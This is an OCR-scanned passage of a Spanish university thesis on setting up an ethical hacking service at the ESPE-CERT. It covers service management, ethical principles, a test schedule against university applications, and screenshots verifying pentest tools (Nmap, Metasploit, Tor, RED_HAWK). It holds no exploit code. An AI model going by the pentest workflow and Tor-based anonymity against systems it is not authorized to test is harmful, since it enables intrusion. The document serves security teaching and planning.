objetivos esperados por el ESPE-CERT Yy el cliente.

e Presentar el servicio de forma comprensible al cliente.

¢ Verificar que el servicio se ejecute correctamente y cumpla con los objetivos
de calidad establecidos.

e Comunicar los resultados de manera no técnica y accesible para el cliente y
su equipo de trabajo.

Gestion de los acuerdos de nivel de servicio

Los acuerdos de nivel de servicio buscan establecer un consenso entre el cliente
gue solicita el servicio y las personas que se encargaran de ejecutar las operaciones del
servicio, priorizando la buena calidad del servicio cumpliendo con los requisitos y
necesidades de los clientes, siempre armonizando un compromiso entre las necesidades y
expectativas del cliente y las capacidades del equipo que ejecutara el servicio.

Es importante que los acuerdos de nivel de servicio estén claramente definidos para
el servicio o servicios que se contratan por esta razén es importante ejecutar las siguientes
acciones:

o Establecer reuniones presenciales o virtuales entre el cliente y el equipo que
ejecutard el servicio.
e Escribir de forma explicita las condiciones y acuerdos consensuados durante las

reuniones.
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e Establecer un plan de capacitacion para asegurar la comprension del cliente

respecto a las operaciones que ejecuta el servicio, esto con el objetivo de preservar

la explicabilidad de las operaciones del servicio.

Gestién de seguridad de la informacion

El departamento ESPE-CERT debe preservar los tres aspectos claves de seguridad:

confidencialidad, integridad y disponibilidad. Su objetivo es mantener la informacion segura

y sin alteraciones por parte de terceros, y garantizar que solo personas capacitadas y

autorizadas la puedan utilizar. Esto demuestra un compromiso con la calidad y la

responsabilidad. Para fortalecer la seguridad de la informacién, es necesario identificar

posibles vulnerabilidades que puedan afectar la calidad del servicio. La informacién también

debe ser confidencial y solo estar disponible para personas capacitadas y autorizadas.

Tabla 11

Clasificacion de los servicios de acuerdo con la demanda

Confidencialidad

Integridad

Disponibilidad

Mantener la informacién
alejada del acceso y uso
no permitidos. La mayor
parte de los sistemas de
informacion  almacenan
informacion que es
confidencial o sensible en

cierta medida.

Mantener la informacién a
salvo de cambios no
permitidos. Estos controles
aseguran la precisién y la

integridad de los datos.

La informacion debe ser
accesible para los
usuarios con permiso.
Las medidas de
disponibilidad garantizan
un acceso sin
interrupciones y oportuno

al sistema.

Marco ético para el servicio de Hacking ético

Las operaciones que se ejecutan dentro del contexto del aprovisionamiento de

servicios de hacking ético son criticas, este aspecto de la ciberseguridad puede afectar

directa o indirectamente la continuidad de los procesos de negocio y la sostenibilidad
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financiera de la organizacién que solicita los servicios, por esta razon, considerando que
uno de los objetivos principales de un CERT académico es la integracion y capacitacion de
la comunidad universitaria, es importante establecer y capacitar la ejecucion de las
operaciones del servicio sobre un marco ético de actuacion, para esto se considera
determinante principios éticos como la beneficencia, no-malevolencia, autonomia, justicia y
explicabilidad, estos principios éticos, en el contexto de la ciberseguridad, cubren desde la
concepcion y la direccién del servicio hasta la entrega de los resultados, y permitira a las
personas que se capacitan o que ya se encuentran ejecutando operaciones de hacking
ético adherirse a este marco ético en caso que se presenten dudas o complicaciones en la
ejecucion del servicio.

Tabla 12

Principios éticos para ejecutar operaciones de hacking responsable

PRINCIPIO ETICO DESCRIPCION

BENEFICENCIA Es el uso de tecnologias de la ciberseguridad para
beneficio de las personas, promover el bien estar del
ser humano y mejorar su calidad de vida.

NO-MALEVOLENCIA Rechazar el uso de tecnologias de la ciberseguridad
para intencionalmente dafiar o herir a personas y
empeorar la calidad de vida del ser humano.

AUTONOMIA Usar las tecnologias de la ciberseguridad de tal
forma que respeten la autonomia de las personas, es
decir, permitir que el ser humano conozca el impacto
y uso de las tecnologias en su vida para que pueda
tomar decisiones informadas.

JUSTICIA Las tecnologias de la ciberseguridad deben usarse
para promover la justicia, la equidad y la
imparcialidad. Se debe rechazar su uso en contextos
donde se discrimine injustamente, se socaven
valores comunitarios y se impida la igualdad de
acceso.

EXPLICABILIDAD El uso que se dé a las tecnologias de la
ciberseguridad debe ser inteligible, transparente y
comprensible, ademas debe ser totalmente claro
quién es el responsable de su uso.

Administracion de suministros

El departamento ESPE-CERT cuenta con herramientas necesarias para realizar las
pruebas de penetracion, desde la deteccion de vulnerabilidades y puertos con herramientas

como Nessus o Nmap, de enumeracion, anonimato y por ultimo de intrusién. Esto sera de
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suma utilidad para gestionar de mejor manera el proceso de hacking ético, asi mismo para
la generacion del informe posteriormente.
Administracion de disponibilidad

El CERT académico de la ESPE busca que los servicios de ciberseguridad que
ofrece sean ofertados de manera continua y segura, dentro de los limites del horario de
trabajo de los miembros del ESPE-CERT, garantizando una disponibilidad total dentro de
este rango de tiempo.
Tabla 13

Administracion de la disponibilidad

TIPO DE CONTACTO DISPONIBILIDAD USAR CUANDO

BOLETIN DE AYUDA EN Cada boletin es atendido Se desea solicitar un
LA PAGINA DEL ESPE- de forma inmediata en el servicio del ESPE-CERT

CERT orden en que se receptan. ya sea por seguridad o por
sospecha de un incidente.

CORREO Se pueden recibir Se desea solicitar un

ELECTRONICO mensajes en cualquier servicio del ESPE-CERT

momento, y son atendidos
en el orden en que se

reciben.

PERSONAL Se pueden solicitar Se puede optar por esta
comunicarse con el equipo opcién cuando se trata de
del ESPE-CERT incidentes con alta
directamente. probabilidad de inminente

impacto

Gestion de la capacidad
La gestion de la capacidad del servicio en el CERT académico de la ESPE se
encuentra estrechamente limitado por la cantidad de personal operativo y capacitado en
procesos de hacking ético, que se encuentre disponible en el laboratorio, es decir, las
directrices que el CERT académico de la ESPE debe tomar para cubrir con las necesidades
de capacidad para el servicio de Hacking ético son:
= |ntegrar a la comunidad universitaria, incitando a nuevos estudiantes afines al area a
participar en las operaciones del ESPE-CERT.
= Capacitar de forma oportuna a los estudiantes que deseen integrar el ESPE-CERT

dentro de un contexto académico de aprendizaje y crecimiento profesional ético.
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= Dentro de la gestion financiera del ESPE-CERT asegurar recursos para mantener
capacitaciones actualizadas a los miembros del ESPE-CERT.

= Controlar el rendimiento y actualizacion de la infraestructura sobre la cual operan los
servicios del ESPE-CERT.

= Definir y mantener actualizado un plan formal de capacidad de los servicios del
ESPE-CERT.

= Gestionar y racionalizar la demanda de servicios del ESPE-CERT de acuerdo con el

personal disponible y los criterios de prioridad.

Limitaciones Actuales

Recursos Humanos: El principal limitador que podemos identificar dentro del
contexto del servicio de Hacking ético es el limitado personal capacitado disponible, aun
considerando que uno de los objetivos de un CERT académico es la integracion
preprofesional con estudiantes que tengan tendencias profesionales en materia de
seguridad, hay que considerar que no existen asignaturas relacionadas directamente al
Hacking Etico, por lo cual, de forma complementaria a un proceso de integracion, es
importante dirigir tiempo y recursos a la 6ptima capacitacion.

El laboratorio del ESPE-CERT donde se ejecutan las operaciones del servicio de
Hacking Etico cuenta con varios integrantes clasificados de la siguiente forma:
Tabla 14

Recursos Humanos

CUERPO TECNICO FUNCION

INGENIEROS DOCENTES Personal altamente capacitado en
materia de seguridad informatica.
Supervisa los procesos de capacitacion
de los estudiantes y las labores de los
miembros operativos.

INGENIERO SUPERVISOR Y Supervisa las operaciones que ejecutan
OPERATIVO los estudiantes y otorga soporte en su
capacitacion.
Se actualiza y capacita constantemente
de acuerdo con los requerimientos de
los servicios.
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CUERPO TECNICO FUNCION

Ejecuta operaciones de servicios
solicitados al ESPE-CERT.

ESTUDIANTES OPERATIVOS Y EN Ejecutan las operaciones de servicios

CAPACITACION del ESPE-CERT para el cual se han
capacitado y se encuentran en constante
capacitacion

Para una correcta gestion de la capacidad el laboratorio del ESPE-CERT debe
contar con los siguientes recursos:

- Material actualizado de capacitacion constante.

- Licencias académicas para las herramientas operativas que lo necesiten.

- Entorno controlado de pruebas y entrenamiento.

- terminales de trabajo con los recursos necesarios.

Recurso Material: Respecto al servicio de Hacking Etico, el laboratorio del ESPE-
CERT cuenta con un servidor principal F.R.E.D (Forensic Recovery of Evidence Device)
donde se encuentran instaladas las herramientas necesarias para ejecutar labores de hacking
ético, adicionalmente, la herramienta de escaneo de vulnerabilidades se encuentra en un
servidor CentOS, y finalmente, en el Laboratorio del ESPE-CERT existe los recursos
necesarios para instalar y configurar nuevas estaciones de trabajo de Kali Linux, el principal
sistema operativo para realizar operaciones de hacking ético.
Gestion de la continuidad del servicio

En el contexto de las operaciones que se ejecutan durante la prestacion del servicio
de hacking ético, es importante garantizar la disponibilidad de la informacién de los activos
informaticos del cliente, es decir, no podemos comprometer la continuidad de las
operaciones del negocio ni podemos comprometer la continuidad de las operaciones del
servicio de hacking ético en el tiempo establecido en los acuerdos de conformidad del
servicio.

Para esto es importante que exista una via de comunicacion directa entre el

responsable de los activos de la informacién del cliente y el equipo que ejecuta el servicio
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de hacking ético, el equipo que ejecuta el servicio debe coordinar las actividades de gestion
de la continuidad del servicio, entre las cuales se debe considerar la necesidad de
comprobar que el servicio informético sobre el cual se ejecutan las operaciones, se
encuentre activo y funcionando, de no ser posible comprobar su estado, se debera
comunicar con el responsable del activo de la informacion para verificar su estado,
igualmente, el equipo que ejecuta las operaciones de hacking ético debe respaldar la
informacion que manipulen durante las pruebas de penetracion, de tal forma que cuando las
pruebas terminen se pueda retornar la informacion de forma integra.

Estas recomendaciones tienen la finalidad de mitigar el impacto que pueda
ocasionar un error al momento de ejecutar las operaciones del servicio de hacking ético, y
evitar una posible interrupcion del servicio no planificada/deseada, adicionalmente es
importante que el equipo elabore un plan de continuidad del servicio que eviten estas
situaciones de fallo y que se adapten a las situaciones particulares de todo cliente.

Plan de Continuidad del servicio

En este apartado no definimos un plan universal para asegurar la continuidad del
servicio, sino definimos fases importantes para explorar cada caso particular y evaluar la
informacion inicial de tal forma que sea posible elaborar un plan de continuidad del servicio,
estas fases son:

1. Definir el alcance del servicio. En esta fase inicial se definen sobre qué activos de la
informacién se ejecutaran las pruebas de intrusion y qué procesos de negocio de la
organizacion cliente pueden ser afectados en la prueba, finalmente, de definen los
activos criticos de la informacion que intervendran en las pruebas.

a. Plan derecuperacién de los activos criticos. Se definirdn los mecanismos
y procesos que permitiran recuperar activos de informacion en caso de falla.

2. Comunicacioén entre el equipo asignado y el cliente. El equipo asignado empezara un

proceso de comunicacion directa con el cliente y los responsables que este asigne,

el propdsito principal es conocer detalles del estado actual de la organizacion
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respecto a la seguridad de la informacion y conocer de forma general las tecnologias
que utilizan en la organizacion.

3. Seleccién de metodologias. A partir del proceso de comunicacion anterior el equipo
estara en capacidad de definir la metodologia de pruebas de intrusién mas
apropiada para cubrir las necesidades del cliente.

a. Definicién de las fases de la operacion del servicio. Estas fases estaran
directamente influenciadas por la metodologia escogida y se podran expandir
o reducir acorde a los niveles de servicio establecidos con el cliente.

4. Planeacion y Disefio. A partir del conocimiento establecido en las anteriores fases se
disefiara y planeara los procesos que se ejecutaran durante el aprovisionamiento del
servicio de hacking ético, aqui se incluyen los entregables, indicadores de éxito y el
cronograma de ejecucion.

5. Ejecucidn del servicio. Consiste en la fase de aprovisionamiento de servicio de
hacking ético, respetando el cronograma establecido en la anterior fase y el nivel de
comunicacion consensuado con el cliente.

Transicion del servicio
Plan de transicién
Objetivos
e Comprobar el estado de los laboratorios del ESPE-CERT en relacion con la
capacidad de ejecutar operaciones de hacking ético.
e Comprobar las herramientas disponibles en el servidor F.R.E.D del ESPE-CERT
para ejecutar las cinco fases del servicio de hacking ético.
e Ejecutar operaciones del servicio de hacking ético de sobre la Unidad de
Tecnologias de la Informaciéon y Comunicacion de la ESPE.
Alcance
Ejecutar el servicio de hacking ético sobre las aplicaciones del aula virtual y banner

gue se encuentran alojadas en la infraestructura tecnolégica de la Unidad de Tecnologias
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de la Informacion y Comunicacién de la ESPE. La transicion se considerard finalizada

cuando se completen la ejecucién de los 5 procesos de hacking ético que permitan evaluar

el desempefio del nuevo servicio implementado en el catalogo del ESPE-CERT.

Indicadores de cumplimiento

e Porcentaje de cumplimiento del servicio.

e Puntualidad en el cumplimiento del cronograma de ejecucion.

e Cumplimiento de los acuerdos de niveles de servicios.
e Evaluacion de impacto negativo analizado.

Recursos Humanos

El equipo de ejecucioén del servicio de hacking ético esté principalmente conformado

por el docente tutor y los estudiantes integrantes de este proyecto de titulacién.

Recursos Financieros

No se han asignado recursos financieros para ejecutar la fase de transicion.

Recursos materiales y tecnolégicos

Los principales recursos que se usaran ya se encuentran en el laboratorio del ESPE-

CERT en el laboratorio H402, adicionalmente las herramientas que se consideren

implementar durante el proceso de ejecucidn seran open source y se proveeran a través del

servidor de forensia que opera con el sistema operativo Kali Linux.

Tareas por realizar

A continuacion, visualizamos la planificacion de las actividades a realizar para

implementar el nuevo servicio de hacking ético en el ESPE-CERT

Tabla 15

Planificacion de actividades en la fase de transicion

Actividad Responsable Duracion Inicio

Fin

Verificacién del estado Daniel Arias 1 dia 16-01-2023
de los servidores del
ESPE-CERT Jordy Vargas

16-01-2023



Actividad Responsable Duracion Inicio Fin
Verificacion de las Daniel Arias 1 dia 17-01-2023 17-01-2023
herramientas de hacking vV

ético instaladas en el Jordy Vargas

servidor F.R.E.D

Actualizaciéon de Daniel Arias 1 dia 18-01-2023 18-01-2023
herramientas de hacking vV

ético instaladas en el Jordy Vargas

servidor F.R.E.D

Fase de recolecciéon de Daniel Arias 1 dia 30-01-2023 30-01-2023
informacion sobre las Jordv V

aplicaciones de las UTIC ordy vargas

Fase de escaneo Daniel Arias 1 dia 31-01-2023 31-01-2023
profundo de q

vulnerabilidades de las Jordy Vargas

aplicaciones de las UTIC

Fase de explotacion de  Daniel Arias 3 dia 01-02-2023 03-02-2023
vulnerabilidades de las Jordv V

aplicaciones de las UTIC ordy vargas

Fase de analisis de Daniel Arias 1 dia 07-02-2023 07-02-2023
resultados obtenidos de q

las pruebas de intrusién Jordy vVargas

Evaluacién del nuevo Ing. Mario Ron 1 dia 12-02-2023 12-02-2023

servicio

Daniel Arias

Jordy Vargas

Implantacion del Servicio

Disponibilidad de recursos

Equipo encargado de la ejecucion

e Daniel Arias — Estudiante

e Jordy Vargas — Estudiante
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Ing. Mario Ron — Docente Tutor

Materiales, equipos e instalaciones

Servidor F.R.E.D (Forensic Recovery of Evidence Device)

Sistema Operativo Kali Linux 2022.4

Memoria Ram 16Gb

CPU multintcleo (16 nucleos)

Estacion de trabajo alternativa en el ESPE-CERT con Kali Linux.

Equipos Hardware en el ESPE-CERT para establecer una nueva estacion de
trabajo en caso de necesidad.

Servidor CentOS 7 con Nessus (aplicacién de escaneo de vulnerabilidades)

Conocimiento

Revision de documentacion oficial de herramientas de hacking open source.
Revisiébn de cursos on-line sobre hacking ético, seguridad informatica y
herramientas asociadas a hacking.

Interaccién en foros y comunidades asociadas a la ciberseguridad.

Libros EC-Council Certified Security Analyst proporcionados por el tutor.

Software Requerido

Para ejecutar las operaciones relacionadas con el servicio de hacking ético es

necesario verificar que el sistema operativo Kali Linux se encuentre correctamente

actualizado, esto principalmente porque las herramientas open source que se van a utilizar

ya se encuentran pre-instaladas en kali linux y algunas se tendran que instalar desde su

repositorio oficial de git hub, entre las herramientas que necesitaremos se encuentra:

Whatweb (Information Gathering); Herramienta de escaneo activo y pasivo, que
extrae informacion de forma profunda a partir de los encabezados HTTP de una
pagina web, esto incluye las tecnologias de despliegue, tipos de scripts que

ejecuta, informacion ip, google analytics, etc.
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e Tor (Anonimity); Herramienta que nos permite ocultar nuestro rastro o foothprints
al momento de navegar por el internet y ejecutar escaneo de vulnerabilidades y
pruebas de intrusién.

¢ Red Hawk (Information Gathering and Vulnerabilty scanning); Herramienta de
escaneo pasivo y activo cuyas funcionalidades nos permiten identificar desde el
sistema de administracion, informacién ip, Cloudfare hasta detectar
vulnerabilidades de inyeccion SQL y XSS, adicionalmente también permite el
escaneo de puertos e informacién de subdominios.

¢ Nmap (Vulnerability scanning); Herramienta utilizada en la exploracion de redes y
auditorias de seguridad que implementa diferentes técnicas de escaneo de
puertos, deteccién de servicios y versiones, deteccion de dispositivos y sistemas
operativos, entre otros.

¢ Net Discover (Network Reconnaissance); Herramienta que permite escanear
redes de forma remota que permite reconocer los hosts activos que se
encuentran en la red, ademas de especificar sus tecnologias.

e Nessus (Vulnerability scanning); Herramienta de escaneo de vulnerabilidades
utilizada en auditorias de seguridad, que se ejecuta de forma remota y permite
analizar el dispositivo objetivo de forma profunda y con informacién actualizada
sobre vulnerabilidades y posibles ataques.

¢ Metasploit (Exploitation); Es un framework multilenguaje que ejecuta una gran
lista de exploits y que interactua de forma directa con herramientas de escaneo
de vulnerabilidades, esta especialmente enfocada a usuarios auditores de
seguridad y hackers.

De las herramientas descritas, la mayoria ya se encuentran instaladas en Kali Linux,

a excepcion de Red Hawk, que la instalaremos desde su repositorio digital y Nessus,
herramienta que se encuentra desplegada sobre el servidor CentOS 7 que se encuentra en

el laboratorio del ESPE-CERT, a esta herramienta accederemos remotamente.
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Capacitacion técnica para ejecutar las operaciones de hacking ético

El equipo de estudiantes que desarrollar el presente trabajo de titulacion ha dedicado
el rango de fechas: 15 de diciembre del 2022 al 29 de enero del 2023 para capacitarse de
forma técnica en las herramientas y procedimientos necesarios para ejecutar el servicio de
hacking ético, en este proceso se han adquirido los conocimientos necesarios para ejecutar
una primera version de este servicio de hacking ético y ha permitido vislumbrar los desafios
y retos a superar a futuro, con el objetivo de fortalecer el servicio de hacking ético a través

del tiempo.

Topologia del servicio
A continuacion, presentamos una figura que nos permite ilustrar una topologia
general de como se ejecutan operaciones de hacking ético, donde los auditores de
seguridad actian como atacantes y ejecutan sus ataques controlados desde una maquina
donde se ejecuta el sistema operativo Kali Linux, estos ataques pueden estar direccionados
a una sola méaquina o activo de la informacién, o a una red interna donde se encuentran
todos los activos de la informacién de una organizacion, los iconos que se encuentran en
las flechas de enlaces entre el atacantes y el activo de la informacién identifican los
diferentes tipos de ataques que podemos utilizar, como son:
= Observacién y escaneo de vulnerabilidades explotables, como puertos abiertos.
»= Ataques de ingenieria social como phishing.
= Ataques a los sistemas de autenticacion.
» Infeccidn de los sistemas informaticos a través de malware.
= |ntrusiones al sistema de seguridad fisica con el objetivo de conectar hardware como
USB infectado con rootkits o backdoors.
Figura 7

Topologia gréfica del Servicio
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Ejecucion del plan de transicion

Verificaciéon del estado de los equipos

Para ejecutar el plan de transicion y preparar todo para ejecutar las operaciones del
servicio de hacking ético se verificé la infraestructura existente siguiendo las siguientes
operaciones:

Para empezar, verificamos que existe conectividad bilateral hacia el servidor F.R.E.D
gue se encuentra operando con el OS Kali Linux, con esta conectividad verificamos que
existe conectividad hace el internet publico, esto es importante porque el anonimato de las
operaciones del hacking ético se configura para cambiar dinamicamente el host de conexion
realizando varios saltos aleatorios a través del internet.

Figura 8

Verificamos que existe conectividad hacia el servidor F.R.E.D
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Jordy
~ ping 10.9.

10.9.9.243 con 32 bytes de datos:

10.9.9.243: bytes=32 tiempo=1lms TTL=61
10.9.9.243: bytes=32 tiempo=1lms TTL=61
10.9.9.243: bytes=32 tiempo=3ms TTL=61
10.9.9.243: bytes=32 tiempo=2ms TTL=61

Estadisticas de ping para 10.9.9.243:
Paquetes: enviados = 4, recibidos = 4, perdidos = ©
(0% perdidos),

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = 1ms, Maximo = 3ms, Media = 1ms

Ahora podemos conectarnos al servidor de Kali Linux a través del protocolo ssh
utilizando las credenciales de usuario.
Figura 9

Conexion al servidor de Kali Linux a través de ssh

Jordy
~ ssh espe—cert@10.9.9.243
espe—cert@10.9.9.243's password:
Linux KALIESPECERT 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-87-07) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 10 15:18:38 2023 from 10.240.2.200

Verificamos que la infraestructura del servidor F.R.E.D cumple con los requisitos
necesarios para ejecutar las pruebas, encontrando que el servidor tiene las siguientes
especificaciones:

o Procesador Multinticleo i7-3930k (6 nucleos)

o 16Gb de memoria ram

o 1TB de almacenamiento con solo el 4% en uso

o Laversion instalada de Kali Linux es la 5.18.0 de arquitectura amd64

Con estas especificaciones podemos asegurar que las herramientas que se
utilizaran funcionaran con normalidad.

Figura 10

Especificaciones del servidor de KaliLinux
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6-core Intel Core i7-3930K (-MT MCP-) 3662/1200/3800 MHz

5.18.0-kali5-amd6U4 x86_64 198d 7h 5um 2878.7/15950.5 MiB (18.0%)
931.51 GiB (4.08% used) 314 Zsh 3.3.24

Ahora procedemos a ejecutar el proceso de actualizacion del servidor F.R.E.D para
los cual empezamos con el comando:

sudo apt update
Figura 11

Ejecucién del comando sudo apt update

update
[sudo] contrasefia para espe-cert:
Des:1 https://linux.teamviewer.com/deb stable InRelease [11,9 kBI]
Ign:2 http://ppa.launchpad.net/mrazavi/openvas/ubuntu jammy InRelease
Des:3 http://packages.microsoft.com/repos/code stable InRelease [3.023 B]
Des:U4 http://packages.microsoft.com/repos/code stable/main amd6U4 Packages [59,3 kB]
Err:6 http://ppa.launchpad.net/mrazavi/openvas/ubuntu jammy Release
404 Not Found [IP: 185.125.190.52 80]
Des:5 http://mirror.cedia.org.ec/kali kali-rolling InRelease [30,6 kB]
Des:7 http://mirror.cedia.org.ec/kali kali-rolling/non-free Sources [130 kB]
Des:8 https://download.docker.com/linux/debian buster InRelease [54,0 kB]
Des:9 http://mirror.cedia.org.ec/kali kali-rolling/contrib Sources [75,3 kB]
Des: http://packages.microsoft.com/repos/code stable/main armhf Packages [59,9 kBI
Des: http://packages.microsoft.com/repos/code stable/main armé6d4 Packages [59,7 kBI
Des: http://mirror.cedia.org.ec/kali kali-rolling/main Sources [15,6 MB]
Obj: http://download.virtualbox.org/virtualbox/debian buster InRelease
Des: https://download.docker.com/linux/debian buster/stable amd6l4 Packages [33,9 kB]
Des: https://download.docker.com/linux/debian buster/stable amd64 Contents (deb) [2.080 B]
http://mirror.cedia.org.ec/kali kali-rolling/main amd6d4 Packages [19,4 MB]
Des: ://mirr edia.org.ec/kali kali-rolling/main amdé4 Contents (deb) [44,u MB]
L [16 Packs re @ B] [17 Contents—amd64 60,3 kB/uu, 4 MB 0%]|

Una vez se ha terminado de descargar los paquetes necesarios para actualizar el
sistema procedemos a instalarlos con el comando:

sudo apt upgrade
Figura 12

Ejecucion del comando sudo apt upgrade

upgrade
.. Hecho
ndo arbol de dep ias... Hecho
yendo la informacién de tado... Hecho
Calculando la actualizacién... Hecho
Los paquetes indicados a continuacién se instalaron de forma automitica y ya no son necesarios.
bacbab caribou catfi. heese-common dle F jar f C ) ab girl.2-caribou-1.0
girl.2-clutter-1.0 girl.2-clutter-gst- r @ girl. a 9 nomebluetooth-1.0
girl.2-gnomedesktop-4.0 girl.2-gtkclutte weat i Fconf-0 g haracters gnome-contacts

core gnome-font-viewer gnome-logs gnome-online-miners gnome eens reenbone-security-assistant-common
merl.8-clutter-3.0 gstreamerl.®-packagekit jarwrapper kali-wall ¢ 1.4 kwayland-dat
yland-integration k yle-kali libab: 210324 libaom@ libapp: 1ib8 libarmadillol® libatkl.@-data
vfilter7 libavformat-ext 1 1= 62 1 mel-1.2-64 Lil mon Libcaribou® libcbor® libcharls2
libcheese-gtk25 libcheese8 libclutter-1.0-8 libclutter-1.8-common Llib: tte .0-0 libclutter-gtk-1.0-0

Ahora procedemos a verificar que las herramientas que necesitamos se encuentran
instaladas y que se han actualizado correctamente, empezamos verificando que la

herramienta what web esté instalada correctamente.
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Figura 13

Herramienta de hacking WhatWeb

WhatWeb - Next generation web scanner version 0.5.5.
Developed by Andrew Horton (urbanadventurer) and Brendan Coles (bcoles)
Homepage: https://www.morningstarsecurity.com/research/whatweb

Verificamos que la herramienta tor no se encuentra instalada, esta herramienta nos
ayudara a establecer anonimato al momento de ejecutar las pruebas de hacking, por lo cual
procedemos a instalarla con el comando:

Sudo apt-get install tor
Figura 14

Instalacion de Tor

sudo a install tor
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias... Hecho
Leyendo la informacion de estado... Hecho
Los paquetes indicados @ continuacion se instalaron de forma automatica y ya no
son necesarios.
baobab caribou cheese-common fastjar folks-common fonts-roboto-slab
girl.2-caribou-1.0 girl.2-clutter-1.0 girl.2-clutter-gst-3.0 girl.2-cogl-1.0

Verificamos que la herramienta tor se ha instalado correctamente.
Figura 15

La herramienta tor se encuentra instalada correctamente

Read configuration fi
ning S i
not bin N: ady i . Is Tor alr
t o g [ the listener ports

- Dingledine
ger Dingledine, Nick Mathewson
he Tor Project, Inc.

tor —f <torrc> [args]
See man page for options, or https://www.torproject.org/ for documentation.




Verificamos que la herramienta de scanning nmap se encuentra instalada
correctamente, esta herramienta nos permitira detectar puertos abierto y servicios activos
en los equipos sobre los cuales se ejecutara el servicio de hacking ético.

Figura 16

La herramienta nmap se encuentra instalada correctamente

Nmap 7.93 ( https://nmap.org )

Usage: nmap [Scan Type(s)] [Options] {target specification}

TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-il <inputfilename>: Input from list of hosts/networks
—iR <num hosts>: Choose random targets
——exclude <hostl[, host2][,host3],...>: Exclude hosts/networks
——excludefile <exclude_file>: Exclude list from file

HOST DISCOVERY:
-sL: List Scan — simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
——dns-servers <servl[,serv2],...>: Specify custom DNS servers
——system—-dns: Use 0S's DNS resolver
-—traceroute: Trace hop path to each host

Verificamos que la herramienta de escaneo de redes y hosts, netDiscover, se
encuentre instalada y actualizada.
Figura 17

La herramienta netDiscover se encuentra instalada correctamente

@ /home/espe-cert
netdiscover: invalid option -- '-'

Netdiscover 0.10 [Active/passive ARP reconnaissance tool]
Written by: Jaime Penalba <jpenalbae@gmail.com>

Usage: netdiscover [-i device] [-r range | -1 file | —p] [-m file] [-F filter] [-s time] [-c count|
-i device: your network device
-r range: scan a given range instead of auto scan. 192.168.6.0/24,/16,/8
-1 file: scan the list of ranges contained into the given file
-p passive mode: do not send anything, only sniff
-m file: scan a list of known MACs and host names
-F filter: customize pcap filter expression (default: "arp")
-s time: time to sleep between each ARP request (milliseconds)
—c count: number of times to send each ARP request (for nets with packet loss)
-n node: last source IP octet used for scanning (from 2 to 253)
—d ignore home config files for autoscan and fast mode
—f enable fastmode scan, saves a lot of time, recommended for auto
-P print results in a format suitable for parsing by another program and stop after active scan
-L similar to -P but continue listening after the active scan is completed
-N Do not print header. Only valid when -P or -L is enabled.
-S enable sleep time suppression between each request (hardcore mode)

Verificamos que la herramienta Red Hawk no se encuentra instalado, para emplear
la herramienta en nuestro S.O. fue necesario realizar un clonado e instalacion de dicha

herramienta a través de github (Figura 18).
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Figura 18

Clonado de herramienta RED_HAWK de su github oficial

[jA. )-[~/Escritorio/pruebasIntrusion]

git clone https://github.com/MohammedAlsubhi/RED_HAWK
Clonando en "RED_HAWK'...

remote: Enumerating objects: 41, done.

remote: Counting objects: 100% (41/41), done.

remote: Compressing objects: 100% (37/37), done.

remote: Total 41 (delta 15), reused @ (delta @), pack-reused @
Recibiendo objetos: 100% (41/41), 24.35 KiB | 395.00 KiB/s, listo.
Resolviendo deltas: 100% (15/15), listo.

[j4. )-[~/Escritorio/pruebasIntrusion]
1s

resultsBannapitest resultsEvirtual resultsSrvcas whatweb.txt

[jJ. )-[~/Escritorio/pruebasIntrusion]
cd RED HAWK

[jA. )-[~/Escritorio/pruebasIntrusion/RED_HAWK]
1s

config.php functions.php README.md sqlerrors.ini var.php
LICENSE rhawk.php Tuhinshubhra version.txt

A continuacion, se pudo inicializar el servicio RED_HAWK.
Figura 19

Interfaz inicial de RED_HAWK

Vulnerability Scanning

Ver 2.0.0

[$] shout Out - Y

Finalmente, verificamos que la herramienta de explotacion de vulnerabilidades se
encuentre actualizada correctamente, esto porque en las nuevas versiones de Kali Linux ya
se la incluye de base, por lo cual nuestra principal preocupacion es que la herramienta,
mejor definida como framework de explotacion, cuente con la Ultima actualizacién que
incluye 2278 exploits, 1198 herramientas auxiliares, 968 payloads entre otras.

Figura 20

El framework metasploit se encuentra instalado correctamente
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=[ metasploit v6.3.0-dev
+ —— ——=[ 2278 exploits - 1198 auxiliary - 408 post
+ —— ——=[ 968 payloads - 45 encoders - 11 nops

+ —— ——=[ 9 evasion

Metasploit tip: Writing a custom module? After editing your

module, why not try the

command

Metasploit Documentation: https://docs.metasploit.com/

msf6 > |

A continuacion, procedemos a verificar el estado del servidor CentOS donde se

encuentra la herramienta de escaneo de vulnerabilidades Nessus, para esto verificamos

gue tenemos conexién con el servidor

Figura 21

Existe conexién con el servidor CentOS

Jordy
~ ping 10.9.

Haciendo ping a
Respuesta desde
Respuesta desde
Respuesta desde

Respuesta desde

Estadisticas de

10.
10.
10.
10.
10.

ping
Paquetes: enviados

(0% perdidos),
Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = 1ms, Maximo =

.242

242
.242:
.242:
242

con 32 bytes de datos:
bytes=32 tiempo=lms TTL=61
bytes=32 tiempo=1lms TTL=61
bytes=32 tiempo=lms TTL=61
bytes=32 tiempo=3ms TTL=61

para 10.9.9.242:

= 4, recibidos = 4, perdidos = ©

3ms, Media = 1ms

Nos conectamos al servidor CentOS a través de una conexion SSH y utilizamos las

credenciales proporcionadas para el ejercicio de este proyecto de titulacion.

Figura 22

Nos conectamos con el servidor CentOS a través del protocolo SSH
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Jordy

~ ssh espe-cert@10.9.9.242
The authenticity of host '10.9.9.242 (10.9.9.242)' can't be established.
ED25519 key fingerprint is SHA256:nspXtGIciSwlFYmxxT+rJ71UX6KkAQwaej+UdTmzuXgw.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

